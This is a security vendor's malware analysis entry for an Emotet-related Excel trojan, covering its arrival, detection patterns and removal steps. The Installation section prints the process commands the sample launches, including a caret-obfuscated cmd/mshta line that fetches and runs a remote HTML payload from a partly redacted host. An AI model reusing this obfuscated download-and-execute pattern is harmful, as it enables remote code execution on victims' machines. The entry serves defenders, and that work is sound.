Trojan.XF.EMOTET.YXCA2

February 07, 2022
 Analysis by: Mc Justine De Guzman
 ALIASES:

TrojanDownloader:O97M/Emotet.EXNY!MTB (MICROSOFT)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It attempts to access certain websites. However, the websites are inaccessible as of this writing.

  TECHNICAL DETAILS

File Size:

47,720 bytes

File Type:

XLS

Memory Resident:

No

Initial Samples Received Date:

28 Jan 2022

Payload:

Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • CMD.EXE /c ms^hta http://{BLOCKED}.2^{BLOCKED}.1{BLOCKED}.1^{BLOCKED}/vvv/ppp/f^e.ht^m^l
  • mshta http://{BLOCKED}.2{BLOCKED}.1{BLOCKED}.1{BLOCKED}/vvv/ppp/fe.html

Other Details

This Trojan attempts to access certain websites. However, the websites are inaccessible as of this writing.

NOTES:

It does the following:

  • It contains the following message details luring users to enable macro content:
  • It connects to the following URLs to execute remote code:
    • http://{BLOCKED}.{BLOCKED}.118.168/vvv/ppp/fe.html

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

17.346.04

FIRST VSAPI PATTERN DATE:

29 Jan 2022

VSAPI OPR PATTERN File:

17.347.00

VSAPI OPR PATTERN Date:

30 Jan 2022

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Scan your computer with your Trend Micro product to delete files detected as Trojan.XF.EMOTET.YXCA2. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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